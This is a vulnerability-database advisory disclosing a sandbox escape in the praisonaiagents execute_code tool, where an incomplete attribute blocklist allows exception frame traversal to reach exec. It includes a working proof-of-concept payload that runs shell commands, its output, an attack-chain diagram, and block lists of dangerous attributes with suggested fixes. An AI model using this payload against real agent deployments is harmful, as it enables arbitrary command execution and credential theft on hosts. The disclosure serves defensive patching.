PYSEC-2026-486

Vulnerability from pysec - Published: 2026-06-29 11:50 - Updated: 2026-07-01 20:23
VLAI
Details

Summary

execute_code() in praisonaiagents.tools.python_tools defaults to sandbox_mode="sandbox", which runs user code in a subprocess wrapped with a restricted __builtins__ dict and an AST-based blocklist. The AST blocklist embedded inside the subprocess wrapper (blocked_attrs, line 143 of python_tools.py) contains only 11 attribute names — a strict subset of the 30+ names blocked in the direct-execution path. The four attributes that form a frame-traversal chain out of the sandbox are all absent from the subprocess list:

Attribute In subprocess blocked_attrs In direct-mode _blocked_attrs
__traceback__ NO YES
tb_frame NO YES
f_back NO YES
f_builtins NO YES

Chaining these attributes through a caught exception exposes the real Python builtins dict of the subprocess wrapper frame, from which exec can be retrieved and called under a non-blocked variable name — bypassing every remaining security layer.

Tested and confirmed on praisonaiagents 1.5.113 (latest), Python 3.10.


Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — 9.9 Critical

Vector Value Rationale
AV:N Network execute_code is a designated agent tool; user/LLM-supplied code reaches it over the network in all standard deployments
AC:L Low No race conditions or special configuration required
PR:L Low Requires ability to submit code through an agent (typical end-user privilege)
UI:N None No victim interaction
S:C Changed Escapes subprocess sandbox into full host process context
C:H High Arbitrary file read, environment variable access, credential exfiltration
I:H High Arbitrary file write, arbitrary code execution on host
A:H High Can terminate processes, exhaust resources

Affected

  • Package: praisonaiagents (PyPI)
  • Affected versions: all versions shipping sandbox_mode="sandbox" (default since introduction) through 1.5.113
  • Patched versions: none at time of report
  • File: praisonaiagents/tools/python_tools.py

Root Cause

Two separate blocked_attrs sets — one much weaker than the other

_validate_code_ast() (line 39, used by direct mode) blocks 30+ attributes:

# python_tools.py line 52 — direct mode (FULL list, correctly includes frame attrs)
_blocked_attrs = frozenset({
    '__subclasses__', '__bases__', '__mro__', '__globals__',
    '__code__', '__class__', '__dict__', '__builtins__',
    '__import__', '__loader__', '__spec__', '__init_subclass__',
    '__set_name__', '__reduce__', '__reduce_ex__',
    '__traceback__', '__qualname__', '__module__',   # ← present here
    '__wrapped__', '__closure__', '__annotations__',
    'gi_frame', 'gi_code', 'cr_frame', 'cr_code',
    'ag_frame', 'ag_code', 'tb_frame', 'tb_next',    # ← present here
    'f_globals', 'f_locals', 'f_builtins', 'f_code', # ← present here
    'co_consts', 'co_names',
})

The subprocess wrapper script written to disk (line 143) uses a separate, inline blocked_attrs with only 11 entries — the frame-traversal attrs are missing:

# python_tools.py line 143 — subprocess wrapper (SHORT list, MISSING frame attrs)
blocked_attrs = {
    '__subclasses__', '__bases__', '__mro__', '__globals__',
    '__code__', '__class__', '__dict__', '__builtins__',
    '__import__', '__loader__', '__spec__'
    # __traceback__, tb_frame, f_back, f_builtins — all absent
}

_safe_getattr does not protect direct dot-notation access

_safe_getattr replaces the getattr builtin and blocks attribute names starting with _. However, it is only invoked when user code explicitly calls getattr(obj, name). Direct attribute access (obj.attr in source) uses Python's C-level tp_getattro slot and never passes through _safe_getattr. The AST check is therefore the only barrier to direct attribute access, and it is insufficient.

No text-pattern blocklist in subprocess mode

_execute_code_direct applies a text-pattern blocklist (dangerous_patterns) as a defence-in-depth layer. _execute_code_sandboxed has no such layer — only the AST check runs.


Proof of Concept

import os
os.environ["PRAISONAI_AUTO_APPROVE"] = "true"
from praisonaiagents.tools.python_tools import execute_code

CMD = "id"   # any shell command

payload = f"""
try:
    1/0
except ZeroDivisionError as e:
    _p = e.__traceback__.tb_frame.f_back
    _x = _p.f_builtins["exec"]
    _x("import subprocess; print(subprocess.check_output({repr(CMD)}, shell=True).decode())",
       {{"__builtins__": _p.f_builtins}})
"""

 result = execute_code(code=payload)
print(result["stdout"])

Output (praisonaiagents 1.5.113, Python 3.10):

uid=1000(user) gid=1000(user) groups=1000(user)

image

Why each defence is bypassed:

Layer Status Reason
AST blocked_attrs BYPASSED __traceback__, tb_frame, f_back, f_builtins not in 11-item subprocess list
_safe_getattr BYPASSED Only intercepts getattr() calls; dot notation uses C-level tp_getattro
exec-by-name AST check BYPASSED Called as _x(...)func.id is '_x', not 'exec'
Text-pattern blocklist N/A Does not exist in subprocess mode
Subprocess process isolation BYPASSED Frame traversal reaches real builtins within the subprocess

Attack Chain

execute_code(payload)
  └─ _execute_code_sandboxed()
       └─ subprocess: exec(user_code, safe_globals)
            └─ user_code raises ZeroDivisionError
                 └─ e.__traceback__           ← __traceback__ not in blocked_attrs
                      └─ .tb_frame           ← tb_frame not in blocked_attrs
                           └─ .f_back        ← f_back not in blocked_attrs
                                └─ .f_builtins  ← f_builtins not in blocked_attrs
                                     └─ ["exec"]  ← dict subscript, no attr check
                                          └─ _x("import subprocess; ...")
                                               └─ RCE

Impact

Any application that exposes execute_code to user-controlled or LLM-generated input — including all standard PraisonAI agent deployments — is fully compromised by a single API call:

  • Arbitrary command execution on the host (in the subprocess user context)
  • File system read/write — source code, credentials, .env files, SSH keys
  • Environment variable exfiltration — API keys, secrets passed to the agent process
  • Network access — outbound connections to attacker infrastructure unaffected by env={}
  • Lateral movement — the subprocess inherits the host's network stack and filesystem

Suggested Fix

1. Merge blocked_attrs into a single shared constant

The subprocess wrapper must use the same attribute blocklist as the direct mode. Replace the inline blocked_attrs in the wrapper template with the full set:

# Add to subprocess wrapper template (python_tools.py ~line 143):
blocked_attrs = {
    '__subclasses__', '__bases__', '__mro__', '__globals__',
    '__code__', '__class__', '__dict__', '__builtins__',
    '__import__', '__loader__', '__spec__', '__init_subclass__',
    '__set_name__', '__reduce__', '__reduce_ex__',
    '__traceback__', '__qualname__', '__module__',    # ← ADD
    '__wrapped__', '__closure__', '__annotations__',  # ← ADD
    'gi_frame', 'gi_code', 'cr_frame', 'cr_code',    # ← ADD
    'ag_frame', 'ag_code', 'tb_frame', 'tb_next',    # ← ADD
    'f_globals', 'f_locals', 'f_builtins', 'f_code', # ← ADD
    'co_consts', 'co_names',                          # ← ADD
}

2. Block all _-prefixed attribute access at AST level

_safe_getattr only covers getattr() calls. Add a blanket AST rule to block any ast.Attribute node whose attr starts with _:

if isinstance(node, ast.Attribute) and node.attr.startswith('_'):
    return f"Access to private attribute '{node.attr}' is restricted"

### 3. Add the text-pattern layer to subprocess mode

Mirror _execute_code_direct's dangerous_patterns check in _execute_code_sandboxed as defence-in-depth.


References

  • Affected file: praisonaiagents/tools/python_tools.py (PyPI: praisonaiagents)
  • CWE-693: Protection Mechanism Failure
  • CWE-657: Violation of Secure Design Principles
Impacted products
Name purl
praisonaiagents pkg:pypi/praisonaiagents

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.5.114"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonaiagents",
        "purl": "pkg:pypi/praisonaiagents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.115"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.0.1",
        "0.0.10",
        "0.0.100",
        "0.0.101",
        "0.0.102",
        "0.0.103",
        "0.0.104",
        "0.0.105",
        "0.0.106",
        "0.0.107",
        "0.0.108",
        "0.0.109",
        "0.0.11",
        "0.0.110",
        "0.0.111",
        "0.0.112",
        "0.0.113",
        "0.0.114",
        "0.0.115",
        "0.0.116",
        "0.0.117",
        "0.0.118",
        "0.0.119",
        "0.0.12",
        "0.0.120",
        "0.0.121",
        "0.0.122",
        "0.0.123",
        "0.0.124",
        "0.0.125",
        "0.0.126",
        "0.0.127",
        "0.0.128",
        "0.0.129",
        "0.0.13",
        "0.0.130",
        "0.0.131",
        "0.0.132",
        "0.0.133",
        "0.0.134",
        "0.0.135",
        "0.0.136",
        "0.0.137",
        "0.0.138",
        "0.0.139",
        "0.0.14",
        "0.0.140",
        "0.0.141",
        "0.0.142",
        "0.0.143",
        "0.0.144",
        "0.0.145",
        "0.0.146",
        "0.0.147",
        "0.0.148",
        "0.0.149",
        "0.0.15",
        "0.0.150",
        "0.0.151",
        "0.0.152",
        "0.0.153",
        "0.0.154",
        "0.0.155",
        "0.0.156",
        "0.0.157",
        "0.0.158",
        "0.0.159",
        "0.0.16",
        "0.0.160",
        "0.0.161",
        "0.0.162",
        "0.0.163",
        "0.0.164",
        "0.0.165",
        "0.0.166",
        "0.0.167",
        "0.0.168",
        "0.0.169",
        "0.0.17",
        "0.0.170",
        "0.0.171",
        "0.0.172",
        "0.0.173",
        "0.0.174",
        "0.0.175",
        "0.0.176",
        "0.0.177",
        "0.0.178",
        "0.0.179",
        "0.0.18",
        "0.0.180",
        "0.0.181",
        "0.0.182",
        "0.0.183",
        "0.0.184",
        "0.0.185",
        "0.0.187",
        "0.0.188",
        "0.0.189",
        "0.0.19",
        "0.0.190",
        "0.0.191",
        "0.0.192",
        "0.0.193",
        "0.0.194",
        "0.0.195",
        "0.0.196",
        "0.0.197",
        "0.0.198",
        "0.0.199",
        "0.0.2",
        "0.0.20",
        "0.0.21",
        "0.0.22",
        "0.0.23",
        "0.0.24",
        "0.0.25",
        "0.0.26",
        "0.0.27",
        "0.0.28",
        "0.0.29",
        "0.0.3",
        "0.0.30",
        "0.0.31",
        "0.0.32",
        "0.0.33",
        "0.0.34",
        "0.0.35",
        "0.0.36",
        "0.0.37",
        "0.0.38",
        "0.0.39",
        "0.0.4",
        "0.0.40",
        "0.0.41",
        "0.0.42",
        "0.0.43",
        "0.0.44",
        "0.0.45",
        "0.0.46",
        "0.0.47",
        "0.0.48",
        "0.0.49",
        "0.0.5",
        "0.0.50",
        "0.0.51",
        "0.0.52",
        "0.0.53",
        "0.0.54",
        "0.0.56",
        "0.0.57",
        "0.0.58",
        "0.0.59",
        "0.0.6",
        "0.0.60",
        "0.0.61",
        "0.0.62",
        "0.0.63",
        "0.0.64",
        "0.0.65",
        "0.0.66",
        "0.0.67",
        "0.0.68",
        "0.0.69",
        "0.0.7",
        "0.0.70",
        "0.0.71",
        "0.0.72",
        "0.0.73",
        "0.0.74",
        "0.0.75",
        "0.0.76",
        "0.0.77",
        "0.0.78",
        "0.0.79",
        "0.0.8",
        "0.0.80",
        "0.0.81",
        "0.0.82",
        "0.0.83",
        "0.0.84",
        "0.0.85",
        "0.0.86",
        "0.0.87",
        "0.0.88",
        "0.0.89",
        "0.0.9",
        "0.0.90",
        "0.0.91",
        "0.0.92",
        "0.0.93",
        "0.0.94",
        "0.0.95",
        "0.0.96",
        "0.0.97",
        "0.0.98",
        "0.0.99",
        "0.1.0",
        "0.1.1",
        "0.1.10",
        "0.1.11",
        "0.1.12",
        "0.1.13",
        "0.1.14",
        "0.1.15",
        "0.1.16",
        "0.1.17",
        "0.1.18",
        "0.1.19",
        "0.1.2",
        "0.1.20",
        "0.1.21",
        "0.1.22",
        "0.1.23",
        "0.1.24",
        "0.1.25",
        "0.1.26",
        "0.1.27",
        "0.1.3",
        "0.1.4",
        "0.1.5",
        "0.1.6",
        "0.1.7",
        "0.1.8",
        "0.1.9",
        "0.10.0",
        "0.10.1",
        "0.10.10",
        "0.10.2",
        "0.10.3",
        "0.10.4",
        "0.10.5",
        "0.10.6",
        "0.10.7",
        "0.10.8",
        "0.10.9",
        "0.11.0",
        "0.11.1",
        "0.11.10",
        "0.11.11",
        "0.11.12",
        "0.11.13",
        "0.11.14",
        "0.11.15",
        "0.11.16",
        "0.11.17",
        "0.11.18",
        "0.11.19",
        "0.11.2",
        "0.11.20",
        "0.11.21",
        "0.11.22",
        "0.11.23",
        "0.11.24",
        "0.11.25",
        "0.11.27",
        "0.11.28",
        "0.11.29",
        "0.11.3",
        "0.11.30",
        "0.11.31",
        "0.11.4",
        "0.11.5",
        "0.11.6",
        "0.11.7",
        "0.11.8",
        "0.11.9",
        "0.12.0",
        "0.12.1",
        "0.12.10",
        "0.12.11",
        "0.12.12",
        "0.12.13",
        "0.12.14",
        "0.12.15",
        "0.12.16",
        "0.12.17",
        "0.12.18",
        "0.12.19",
        "0.12.2",
        "0.12.20",
        "0.12.21",
        "0.12.3",
        "0.12.4",
        "0.12.5",
        "0.12.6",
        "0.12.7",
        "0.12.8",
        "0.12.9",
        "0.13.0",
        "0.13.1",
        "0.13.10",
        "0.13.11",
        "0.13.12",
        "0.13.13",
        "0.13.14",
        "0.13.15",
        "0.13.16",
        "0.13.17",
        "0.13.18",
        "0.13.19",
        "0.13.2",
        "0.13.20",
        "0.13.21",
        "0.13.22",
        "0.13.23",
        "0.13.3",
        "0.13.4",
        "0.13.5",
        "0.13.6",
        "0.13.7",
        "0.13.8",
        "0.13.9",
        "0.14.0",
        "0.14.1",
        "0.14.10",
        "0.14.11",
        "0.14.12",
        "0.14.14",
        "0.14.15",
        "0.14.16",
        "0.14.2",
        "0.14.3",
        "0.14.4",
        "0.14.5",
        "0.14.6",
        "0.14.7",
        "0.14.8",
        "0.14.9",
        "0.15.0",
        "0.15.1",
        "0.15.2",
        "0.15.3",
        "0.2.0",
        "0.2.1",
        "0.2.2",
        "0.3.0",
        "0.3.1",
        "0.3.2",
        "0.3.3",
        "0.3.4",
        "0.4.0",
        "0.4.1",
        "0.5.0",
        "0.5.1",
        "0.5.2",
        "0.5.3",
        "0.6.0",
        "0.6.1",
        "0.6.2",
        "0.6.3",
        "0.6.4",
        "0.6.5",
        "0.6.6",
        "0.6.7",
        "0.6.8",
        "0.7.0",
        "0.7.1",
        "0.8.0",
        "0.8.1",
        "0.9.0",
        "0.9.1",
        "1.0.0",
        "1.1.0",
        "1.2.0",
        "1.2.1",
        "1.2.2",
        "1.2.3",
        "1.2.4",
        "1.3.0",
        "1.3.1",
        "1.4.0",
        "1.4.1",
        "1.4.2",
        "1.4.3",
        "1.4.4",
        "1.4.5",
        "1.4.6",
        "1.4.7",
        "1.4.8",
        "1.5.0",
        "1.5.1",
        "1.5.10",
        "1.5.100",
        "1.5.101",
        "1.5.102",
        "1.5.103",
        "1.5.104",
        "1.5.105",
        "1.5.106",
        "1.5.107",
        "1.5.108",
        "1.5.109",
        "1.5.11",
        "1.5.110",
        "1.5.111",
        "1.5.112",
        "1.5.113",
        "1.5.114",
        "1.5.12",
        "1.5.13",
        "1.5.14",
        "1.5.15",
        "1.5.16",
        "1.5.17",
        "1.5.18",
        "1.5.19",
        "1.5.2",
        "1.5.20",
        "1.5.21",
        "1.5.22",
        "1.5.23",
        "1.5.24",
        "1.5.25",
        "1.5.26",
        "1.5.27",
        "1.5.28",
        "1.5.29",
        "1.5.3",
        "1.5.30",
        "1.5.31",
        "1.5.32",
        "1.5.33",
        "1.5.34",
        "1.5.35",
        "1.5.36",
        "1.5.37",
        "1.5.38",
        "1.5.39",
        "1.5.40",
        "1.5.41",
        "1.5.42",
        "1.5.43",
        "1.5.44",
        "1.5.45",
        "1.5.46",
        "1.5.47",
        "1.5.48",
        "1.5.49",
        "1.5.5",
        "1.5.50",
        "1.5.51",
        "1.5.52",
        "1.5.53",
        "1.5.54",
        "1.5.55",
        "1.5.56",
        "1.5.57",
        "1.5.58",
        "1.5.59",
        "1.5.6",
        "1.5.60",
        "1.5.61",
        "1.5.62",
        "1.5.63",
        "1.5.64",
        "1.5.65",
        "1.5.66",
        "1.5.67",
        "1.5.68",
        "1.5.69",
        "1.5.7",
        "1.5.70",
        "1.5.71",
        "1.5.72",
        "1.5.73",
        "1.5.74",
        "1.5.75",
        "1.5.76",
        "1.5.77",
        "1.5.78",
        "1.5.79",
        "1.5.8",
        "1.5.80",
        "1.5.81",
        "1.5.82",
        "1.5.83",
        "1.5.84",
        "1.5.85",
        "1.5.86",
        "1.5.87",
        "1.5.88",
        "1.5.89",
        "1.5.9",
        "1.5.90",
        "1.5.91",
        "1.5.92",
        "1.5.93",
        "1.5.94",
        "1.5.95",
        "1.5.96",
        "1.5.97",
        "1.5.98",
        "1.5.99"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39888",
    "GHSA-qf73-2hrx-xprp"
  ],
  "details": "## Summary\n\n`execute_code()` in `praisonaiagents.tools.python_tools` defaults to\n`sandbox_mode=\"sandbox\"`, which runs user code in a subprocess wrapped with a\nrestricted `__builtins__` dict and an AST-based blocklist. The AST blocklist\n embedded inside the subprocess wrapper (`blocked_attrs`, line 143 of\n`python_tools.py`) contains only 11 attribute names \u2014 a strict subset of the 30+\nnames blocked in the direct-execution path. The four attributes that form a\nframe-traversal chain out of the sandbox are all absent from the subprocess list:\n\n| Attribute | In subprocess `blocked_attrs` | In direct-mode `_blocked_attrs` |\n|---|---|---|\n | `__traceback__` | **NO** | YES |\n| `tb_frame` | **NO** | YES |\n| `f_back` | **NO** | YES |\n| `f_builtins` | **NO** | YES |\n\nChaining these attributes through a caught exception exposes the real Python\n`builtins` dict of the subprocess wrapper frame, from which `exec` can be\nretrieved and called under a non-blocked variable name \u2014 bypassing every\nremaining security layer.\n\n**Tested and confirmed on praisonaiagents 1.5.113 (latest), Python 3.10.**\n\n---\n\n## Severity\n\n**CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H \u2014 9.9 Critical**\n\n| Vector | Value | Rationale |\n|---|---|---|\n| AV:N | Network | `execute_code` is a designated agent tool; user/LLM-supplied code reaches it over the network in all standard deployments |\n| AC:L | Low | No race conditions or special configuration required |\n| PR:L | Low | Requires ability to submit code through an agent (typical end-user privilege) |\n| UI:N | None | No victim interaction |\n| S:C | Changed | Escapes subprocess sandbox into full host process context |\n | C:H | High | Arbitrary file read, environment variable access, credential exfiltration |\n| I:H | High | Arbitrary file write, arbitrary code execution on host |\n| A:H | High | Can terminate processes, exhaust resources |\n\n---\n\n## Affected\n\n - **Package**: `praisonaiagents` (PyPI)\n- **Affected versions**: all versions shipping `sandbox_mode=\"sandbox\"` (default since introduction) through **1.5.113**\n- **Patched versions**: none at time of report\n- **File**: `praisonaiagents/tools/python_tools.py`\n \n---\n\n## Root Cause\n\n### Two separate `blocked_attrs` sets \u2014 one much weaker than the other\n\n`_validate_code_ast()` (line 39, used by direct mode) blocks 30+ attributes:\n\n```python\n# python_tools.py line 52 \u2014 direct mode (FULL list, correctly includes frame attrs)\n_blocked_attrs = frozenset({\n    \u0027__subclasses__\u0027, \u0027__bases__\u0027, \u0027__mro__\u0027, \u0027__globals__\u0027,\n    \u0027__code__\u0027, \u0027__class__\u0027, \u0027__dict__\u0027, \u0027__builtins__\u0027,\n    \u0027__import__\u0027, \u0027__loader__\u0027, \u0027__spec__\u0027, \u0027__init_subclass__\u0027,\n    \u0027__set_name__\u0027, \u0027__reduce__\u0027, \u0027__reduce_ex__\u0027,\n    \u0027__traceback__\u0027, \u0027__qualname__\u0027, \u0027__module__\u0027,   # \u2190 present here\n    \u0027__wrapped__\u0027, \u0027__closure__\u0027, \u0027__annotations__\u0027,\n    \u0027gi_frame\u0027, \u0027gi_code\u0027, \u0027cr_frame\u0027, \u0027cr_code\u0027,\n    \u0027ag_frame\u0027, \u0027ag_code\u0027, \u0027tb_frame\u0027, \u0027tb_next\u0027,    # \u2190 present here\n    \u0027f_globals\u0027, \u0027f_locals\u0027, \u0027f_builtins\u0027, \u0027f_code\u0027, # \u2190 present here\n    \u0027co_consts\u0027, \u0027co_names\u0027,\n})\n```\n\nThe subprocess wrapper script written to disk (line 143) uses a separate,\n**inline** `blocked_attrs` with only 11 entries \u2014 the frame-traversal attrs are\n**missing**:\n\n```python\n# python_tools.py line 143 \u2014 subprocess wrapper (SHORT list, MISSING frame attrs)\nblocked_attrs = {\n    \u0027__subclasses__\u0027, \u0027__bases__\u0027, \u0027__mro__\u0027, \u0027__globals__\u0027,\n    \u0027__code__\u0027, \u0027__class__\u0027, \u0027__dict__\u0027, \u0027__builtins__\u0027,\n    \u0027__import__\u0027, \u0027__loader__\u0027, \u0027__spec__\u0027\n    # __traceback__, tb_frame, f_back, f_builtins \u2014 all absent\n}\n```\n\n### `_safe_getattr` does not protect direct dot-notation access\n\n`_safe_getattr` replaces the `getattr` builtin and blocks attribute names\nstarting with `_`. However, it is only invoked when user code explicitly calls\n`getattr(obj, name)`. Direct attribute access (`obj.attr` in source) uses\nPython\u0027s C-level `tp_getattro` slot and **never passes through `_safe_getattr`**.\nThe AST check is therefore the only barrier to direct attribute access, and it\nis insufficient.\n\n### No text-pattern blocklist in subprocess mode\n\n`_execute_code_direct` applies a text-pattern blocklist (`dangerous_patterns`)\n as a defence-in-depth layer. `_execute_code_sandboxed` has no such layer \u2014\nonly the AST check runs.\n\n---\n\n## Proof of Concept\n\n```python\nimport os\nos.environ[\"PRAISONAI_AUTO_APPROVE\"] = \"true\"\nfrom praisonaiagents.tools.python_tools import execute_code\n\nCMD = \"id\"   # any shell command\n\npayload = f\"\"\"\ntry:\n    1/0\nexcept ZeroDivisionError as e:\n    _p = e.__traceback__.tb_frame.f_back\n    _x = _p.f_builtins[\"exec\"]\n    _x(\"import subprocess; print(subprocess.check_output({repr(CMD)}, shell=True).decode())\",\n       {{\"__builtins__\": _p.f_builtins}})\n\"\"\"\n\n result = execute_code(code=payload)\nprint(result[\"stdout\"])\n```\n\n**Output (praisonaiagents 1.5.113, Python 3.10):**\n\n```\nuid=1000(user) gid=1000(user) groups=1000(user)\n```\n\u003cimg width=\"775\" height=\"429\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a110b596-45be-431c-bf5a-9a6b0901bcaf\" /\u003e\n\n**Why each defence is bypassed:**\n\n| Layer | Status | Reason |\n|---|---|---|\n | AST `blocked_attrs` | **BYPASSED** | `__traceback__`, `tb_frame`, `f_back`, `f_builtins` not in 11-item subprocess list |\n| `_safe_getattr` | **BYPASSED** | Only intercepts `getattr()` calls; dot notation uses C-level `tp_getattro` |\n| `exec`-by-name AST check | **BYPASSED** | Called as `_x(...)` \u2014 `func.id` is `\u0027_x\u0027`, not `\u0027exec\u0027` |\n | Text-pattern blocklist | **N/A** | Does not exist in subprocess mode |\n| Subprocess process isolation | **BYPASSED** | Frame traversal reaches real builtins *within* the subprocess |\n\n---\n\n## Attack Chain\n\n```\nexecute_code(payload)\n  \u2514\u2500 _execute_code_sandboxed()\n       \u2514\u2500 subprocess: exec(user_code, safe_globals)\n            \u2514\u2500 user_code raises ZeroDivisionError\n                 \u2514\u2500 e.__traceback__           \u2190 __traceback__ not in blocked_attrs\n                      \u2514\u2500 .tb_frame           \u2190 tb_frame not in blocked_attrs\n                           \u2514\u2500 .f_back        \u2190 f_back not in blocked_attrs\n                                \u2514\u2500 .f_builtins  \u2190 f_builtins not in blocked_attrs\n                                     \u2514\u2500 [\"exec\"]  \u2190 dict subscript, no attr check\n                                          \u2514\u2500 _x(\"import subprocess; ...\")\n                                               \u2514\u2500 RCE\n```\n\n---\n\n## Impact\n \nAny application that exposes `execute_code` to user-controlled or\nLLM-generated input \u2014 including all standard PraisonAI agent deployments \u2014 is\nfully compromised by a single API call:\n\n- **Arbitrary command execution** on the host (in the subprocess user context)\n- **File system read/write** \u2014 source code, credentials, `.env` files, SSH keys\n- **Environment variable exfiltration** \u2014 API keys, secrets passed to the agent process\n- **Network access** \u2014 outbound connections to attacker infrastructure unaffected by `env={}`\n- **Lateral movement** \u2014 the subprocess inherits the host\u0027s network stack and filesystem\n\n---\n\n## Suggested Fix\n\n### 1. Merge `blocked_attrs` into a single shared constant\n\nThe subprocess wrapper must use the same attribute blocklist as the direct mode.\nReplace the inline `blocked_attrs` in the wrapper template with the full set:\n\n```python\n# Add to subprocess wrapper template (python_tools.py ~line 143):\nblocked_attrs = {\n    \u0027__subclasses__\u0027, \u0027__bases__\u0027, \u0027__mro__\u0027, \u0027__globals__\u0027,\n    \u0027__code__\u0027, \u0027__class__\u0027, \u0027__dict__\u0027, \u0027__builtins__\u0027,\n    \u0027__import__\u0027, \u0027__loader__\u0027, \u0027__spec__\u0027, \u0027__init_subclass__\u0027,\n    \u0027__set_name__\u0027, \u0027__reduce__\u0027, \u0027__reduce_ex__\u0027,\n    \u0027__traceback__\u0027, \u0027__qualname__\u0027, \u0027__module__\u0027,    # \u2190 ADD\n    \u0027__wrapped__\u0027, \u0027__closure__\u0027, \u0027__annotations__\u0027,  # \u2190 ADD\n    \u0027gi_frame\u0027, \u0027gi_code\u0027, \u0027cr_frame\u0027, \u0027cr_code\u0027,    # \u2190 ADD\n    \u0027ag_frame\u0027, \u0027ag_code\u0027, \u0027tb_frame\u0027, \u0027tb_next\u0027,    # \u2190 ADD\n    \u0027f_globals\u0027, \u0027f_locals\u0027, \u0027f_builtins\u0027, \u0027f_code\u0027, # \u2190 ADD\n    \u0027co_consts\u0027, \u0027co_names\u0027,                          # \u2190 ADD\n}\n```\n\n### 2. Block all `_`-prefixed attribute access at AST level\n\n`_safe_getattr` only covers `getattr()` calls. Add a blanket AST rule to block\nany `ast.Attribute` node whose `attr` starts with `_`:\n\n```python\nif isinstance(node, ast.Attribute) and node.attr.startswith(\u0027_\u0027):\n    return f\"Access to private attribute \u0027{node.attr}\u0027 is restricted\"\n```\n\n ### 3. Add the text-pattern layer to subprocess mode\n\nMirror `_execute_code_direct`\u0027s `dangerous_patterns` check in\n`_execute_code_sandboxed` as defence-in-depth.\n\n ---\n\n## References\n\n- Affected file: `praisonaiagents/tools/python_tools.py` (PyPI: `praisonaiagents`)\n- CWE-693: Protection Mechanism Failure\n- CWE-657: Violation of Secure Design Principles",
  "id": "PYSEC-2026-486",
  "modified": "2026-07-01T20:23:01.968066Z",
  "published": "2026-06-29T11:50:48.093694Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-qf73-2hrx-xprp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39888"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/praisonaiagents"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-qf73-2hrx-xprp"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI has sandbox escape via exception frame traversal in `execute_code` (subprocess mode)"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…